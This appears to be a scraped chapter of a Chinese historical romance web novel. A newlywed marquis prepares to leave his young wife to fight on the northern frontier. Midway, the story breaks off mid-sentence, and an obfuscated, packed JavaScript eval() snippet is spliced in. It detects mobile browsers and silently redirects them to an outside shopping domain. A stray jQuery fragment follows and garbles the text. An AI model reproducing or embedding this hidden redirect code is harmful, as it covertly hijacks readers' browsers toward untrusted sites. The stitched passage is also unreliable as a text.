时序入秋,晨雾漫漫。
身侧之人睡得正沉,满头青丝散落,柔顺地贴在他的胸膛前。
她的睡颜恬静,唇瓣带着天然的浅粉色,较平日多了几分娇憨温软。
崔君墨不动声色地低头吻了下她的唇。
沈幼菱被他靠近的呼吸惊扰,皱了皱眉,随即转过身又接着睡了。
片刻,待确定她又睡熟之后,崔君墨小心的抬起手臂,缓缓从她颈下抽出,悄然起身。
被褥微动,终究还是扰醒了睡梦的沈幼菱。
她睫羽轻轻颤动,费力地掀开沉重的眼皮,惺忪地望向已然站在榻边的身影,嗓音带着初醒的沙哑:“可是要去上朝了?”
“嗯。”崔君墨应声,嗓音低沉的开口:“朝中有些事,需要去处理。”
他顿了顿,目光落在她倦意未消的脸上:“吵到你了?”
沈幼菱轻轻摇了摇头,睡意尚未完全散去,整个人还陷在迷蒙的状态里。
她支起上半身,目光落在男子整理衣袍的背影上。
许久之后,沈幼菱后知后觉的反应到,他们昨夜已是真正的夫妻了。
按照常理,从今日起都该是她帮他穿戴了。
这样想着,沈幼菱便掀开锦被,打算下床。
崔君墨正扣上最后一粒纽扣,听见身后的动静,随即转过身来,望向她。
“天色尚早,你接着睡吧。”
沈幼菱脑中仍有些浑茫,动作顿住,依着他的话停了下来,只轻轻应了声“嗯”。
崔君墨见她这副迷蒙的模样,终是扣好了扣子,走上前。
随即,俯身,在她还未反应过来之际,吻上了她的唇,浅尝辄止。
之后,房门合拢,崔君墨带着浦安离开了。
沈幼菱半靠在床上,唇上似乎还留有他的气息。
直到脚步声渐远,她才缓缓躺回被褥之中。
锦被里还残留着他的气息,干干净净的松香味,萦绕在鼻尖,唤醒了昨夜所有模糊又真切的记忆。
这是她两辈子,第一次初尝人事,诸多生疏与羞涩交织在一起。
想到此处,沈幼菱脸颊不由得泛起一层淡淡的绯色。
她连忙将整个人埋进被褥里,闭上双眼,强迫自己不再去回想那些缱绻私密的画面。
都怪他昨日太过折腾,沈幼菱只觉得此刻,身心俱疲,不过片刻,困意便再次席来。
她沉入梦乡,这一觉睡得绵长安稳。
不知不觉间,窗外晨雾散尽,日照中天。
沈幼菱才悠悠转醒。
她揉了揉惺忪的睡眼,抬眼望向窗外,见天色已然大亮,心头一慌,连忙扬声唤道:“曼冬?”
话音刚落,门外便响起轻快的脚步声,曼冬推门而入。
“小姐您醒啦?”
曼冬见她起身,笑着上前,“奴婢还想着您要再歇一会儿呢。”
沈幼菱掀被下床,脸色微恼地问道:“都这个时辰了,你们怎么也不叫醒我?岂不是误了请安的时辰。”
巧娘端着铜盆紧随其后进来,将铜盆放在妆台一侧,眉开眼笑的解释道:“是侯爷临走前特意吩咐下来的,说您昨日劳累,让府里上下都不要打扰您,若非如此曼冬哪敢这般懈怠。”
曼冬连忙认同的点点头。
巧娘又补充道:“不仅如此,侯爷想必也和老夫人通了气。一早,老夫人院里的郑嬷嬷,便特意过来传了话,说让您这几日好好歇着,不必日日往荏慈堂奔波了。”
听闻此言,沈幼菱的脸颊霎时红了。
羞赫的不愿再开口多说一个字。
曼冬和巧娘见状,相视一笑,便也不再打趣她,上前伺候她梳洗。
洗漱完毕后,二人帮她换上了一身鹅黄色内衫,外罩一件淡青色褙子,下身着米色长裙。
腰间特意系上了一条亮眼的橙色腰带,极致的勾勒了她的腰肢。
乌黑的青丝,挽成饱满的环形高髻,发髻间点缀着鹅黄色的小花枝,搭配珍珠流苏步摇,余下几缕碎发自然垂落鬓边,衬得她脸型愈发小巧精致,眉眼清丽绝尘。
梳洗完毕后,沈幼菱便移步去往膳堂用早膳。
此刻膳堂的桌上,早已摆满了各色早点。
正中央是一笼屉皮薄馅足的蟹粉小笼包,一旁摆着晶莹剔透的桂花水晶糕,软糯香甜的豆沙糯米糕,还有炸得外酥里嫩的葱油饼,小巧玲珑的翡翠烧卖。
瓷碗里盛着温热的银耳莲子羹,以及一些清粥小菜,另外还有一碟腌脆笋,荤素搭配,色香味俱全。
沈幼菱昨夜劳累,此刻腹中早已空空如也。
看着满满一桌子早膳,她也顾不上什么规矩了,赶忙拿起竹筷用膳,吃得津津有味。
巧娘立在一旁,满眼慈爱地看着她,笑着叮嘱:“慢些吃,没人和您争,仔细噎着。”
沈幼菱手里捏着桂花糕,腮帮子塞得鼓鼓的,闻言,含糊地点头应了一声。
待她吃了大半,稍稍放缓了进食的速度,巧娘才状似随意地开口问道:“小姐,昨日新婚之夜,您和侯爷……一切都还好吧?”
昨夜她和曼冬前去送热水的时候,小姐已经安歇了,她一直都没有机会问上一问。
这话一出,沈幼菱握着筷子的手微微一顿,面上又红了起来。
她低下头,耳根发烫,只含糊地轻轻“嗯”了一声,算作回应。
巧娘自然知晓自家小姐脸皮薄,可此事关乎小姐往后在侯府的立命,便也顾不上避嫌,继续追问道:“侯爷待您可还体贴?”
被人这般直白追问,沈幼菱心绪纷乱,脑海中不自觉闪过昨夜二人相处的画面。
整个人越发羞涩,脸颊烫得像是燃起了火。
这般闺中私密之事,她实在不知该如何向外人言说。
沉默良久,她才憋红了一张脸,细若蚊蚋地低声道:“他……一切都好。”
巧娘见她这般模样,心中的疑虑未消,索性直言道:“小姐,您也别怪老奴多嘴。有些话,旁人不敢提,我却必须跟您讲明白。侯爷如今已是二十有七的年岁,这般年纪,寻常人家早已儿女绕膝了。可侯爷在您换嫁至侯府前,都未曾娶妻纳妾,身边更是连个近身伺候的通房丫头都没有。早先咱们嫁入侯府之前,京城流言纷纷,都说侯爷一心念着故人,此生无心儿女情长,甚至还有人揣测他身子有碍。”
“当初咱们是奔着守活寡来的,自然不必在意,如今既然准备好好过日子,就另当别论了。”
巧娘叹了口气,语气满是忧心:“若是侯爷真有不妥,您万万不能一味的帮忙遮掩。女子在家中立足,子嗣便是根基。倘若日后久久没有身孕,外头的闲言碎语绝不会归咎到男子身上,所有的责难都会落在您一人头上。到时候全府上下,内外亲友的口舌,便能将人压得抬不起头来。”
也不怪巧娘怀疑,这般年岁,若是成亲早一些的,怕是连孙儿都快有了,可崔君墨却连个女人都没有。
她原以为崔君墨是在为皇后守节。可是那日,崔君墨却告知她,他和皇后并无多少情分。
沈幼菱一时间,也理不清,想不明白,崔君墨到底何至于此。
但是回想昨日崔君墨那般模样,又怎会是身体有碍,只能羞赫的开口,对巧娘说道:“您放心,侯爷他身子康健,并无不妥之处。”
听到这句话,巧娘悬着的心总算落了地,脸上露出欣喜的笑容,连忙劝道:“这便好,这便好!既然如此,小姐便多上心些。早日诞下子嗣,才坐稳这侯府主母的位置,往后的日子也才能过得安稳顺遂。”
沈幼菱明白巧娘一片苦心,皆是为了自己往后的处境考量,只得红着脸点头应下。
只是世事难遂人愿。
自那日清晨入朝之后,崔君墨遣人来报,他近日政务繁忙,便宿在大司马府了。
一连五日都不曾回府。
沈幼菱纵使有心,也无能为力。
崔君墨回国公府,已经是五日之后的事情了。
这一日,暮色四合,崔君墨匆匆而归。
他风尘仆仆的回到府中,却没有先回垣清苑,转而来到了荏慈堂。
老夫人见多日不见的儿子归来,脸上满是欣喜,连忙吩咐下人立刻备膳。
老夫人望着风尘满面的崔君墨,语气带着几分嗔怪:“你这孩子,一连五日不着家,日理万机。如今回了府,怎么不先去垣清苑看看你媳妇?幼菱那孩子,日日盼着你回去呢。”
崔君墨闻言,面色微凛,郑重的开口道:“母亲,儿子此番归来,是有一桩要紧事要告知您。”
见他神色凝重,老夫人脸上的笑意敛去,心头微微一沉:“何事?这般严肃。”
“五日前接到加急军报,漠北边境再起动乱,皇上命我领兵前往漠北平乱......”
闻言,老夫人的脸色彻底暗了下来,冷声:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577234|202488||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我说,你今日怎会先来这荏慈堂,倒是无事不登三宝殿了。”
她的眉头拧起,语气陡然拔高,不满的开口:“这偌大的朝堂,就再也找不出第二个能领兵之人了吗?你前些日子刚刚苏醒,这是又要将你送去那吃人之地。”
闻言,崔君墨神色如常,从容回道,“食民之禄,忠民之事,保家卫国本就是分内职责,边境有难,自当挺身而出。”
“分内之事?”老夫人连连摇头,语气里满是愤懑,“这朝廷的俸禄是都被你一人吃了,其他人都不吃?旁人躲在京城安享荣华,偏偏次次危难,都要推你上前!我知道你心怀家国,可我只是一个寻常母亲,我只盼着我的儿子平安康健,岁岁无忧。”
崔君墨走上前两步,轻轻扶住老夫人的手臂,温声安抚:“母亲放心,儿子心中自有分寸。”
老夫人只是有些牢骚,但也是明理之人,知晓这朝堂之事,也不是她一介妇人该插手的。
几番叹气之后,她终究是松了口:“罢了罢了,我也拦不住你。你既有决断,我便不再多言。只是有一件事,你须放在心上。”
她目光沉沉的看着崔君墨:“幼菱年纪尚轻,如今你们刚刚鸾凤和鸣,正是心思敏感的时候。你骤然要远赴边关,一别便是遥遥无期,甚至吉凶难料。我这老婆子活了大半辈子,经得住离别苦楚,可她不一样。你定要好好同她言说一番,莫要让她心生惶恐,独自煎熬。”
“儿子谨记母亲教诲。”崔君墨应声。
辞别母亲,崔君墨回到垣清苑。
垣清苑内,廊下的灯烛已点亮,暖黄的灯光洒落一地。
曼冬远远望见崔君墨的身影,眼睛一亮,快步走到屋门前,扬声向内通报:“小姐!侯爷回来了!”
屋内的沈幼菱听闻声响,心中一动,连忙起身掀帘走出卧房。
灯下的少女一身橘色立领长衫,外搭一件月白织金绣花比甲,乌黑的秀发梳成简单的低盘髻,发髻间缀着朱红色的绒花,搭配着银质步摇,缓缓垂动。
烛光映着她清丽的脸庞,肌肤莹白细腻,眉眼如画,唇角带着一抹浅淡的笑意。
四目相对间,沈幼菱目光微微闪躲,脸颊上悄然浮起一层淡淡的绯红,在暖烛之下格外动人。
崔君墨迈步走入屋内,随手将外衫递给一旁侍立的婢女。
“侯爷一路奔波,可曾用过晚膳?”沈幼菱定了定神,上前两步,柔声开口问道。
崔君墨淡淡摇头,表示尚未。
沈幼菱连忙吩咐巧娘去张罗。
巧娘应声领命,脚步匆匆地退了下去。
不多时,晚膳便端了上来。
二人相对而坐,屋内只有烛火跳动的声响。
崔君墨的目光落在对面的沈幼菱身上,烛光勾勒出她柔和的轮廓。
少女垂着眼帘,纤长浓密的睫羽,轻轻颤动着。
她的脸颊削纤,被暖烛染出淡淡的桃色,唇瓣小巧饱满,色泽天然红润。
一身肌肤在灯火之下白如凝脂,细腻通透,看得人心头微动。
方才母亲的一番话,再次在他脑海中回响。
一丝隐隐的的愧疚,悄然在心底滋生。
他戎马半生,征战四方,从不畏惧生死。
此番前往漠北,本就是他们计划中的一环。
可今夜看着眼前这个刚刚与自己鱼水相投的少女,他第一次生出了犹豫与愧疚。
她这般年轻,她能承受,身侧之人再次战死沙场吗?
万千思绪翻涌,崔君墨一时间有些失神。
直到一双纤细的手拿着竹筷,将一筷鲜嫩的笋片布入他碗中,他才猛地回过神来。
沈幼菱不知道他在想些什么,只劝他多吃一些。
崔君墨收回纷乱的思绪,抬眸看向她,微微颔首,随即,拿起碗筷慢慢用膳。
昏黄摇曳的烛火之下,他的目光不经意扫过她纤细柔美的脖颈,肌肤莹白,几处浅浅的红痕依稀可见。
算下来已有五日之久,这印记竟还未曾完全消退。
他眸光微动,转瞬便移开视线。
一餐饭吃得安静。
待用过晚膳,婢女们上前收拾碗筷,又为二人端来一壶清茶。
就在沈幼菱执壶,准备为他斟满茶盏之时,崔君墨将茶盏慢慢移开,目光定定地看着她,沉声道:“如果我说,我不日便将领兵出发漠北平乱,你可愿等我归来?”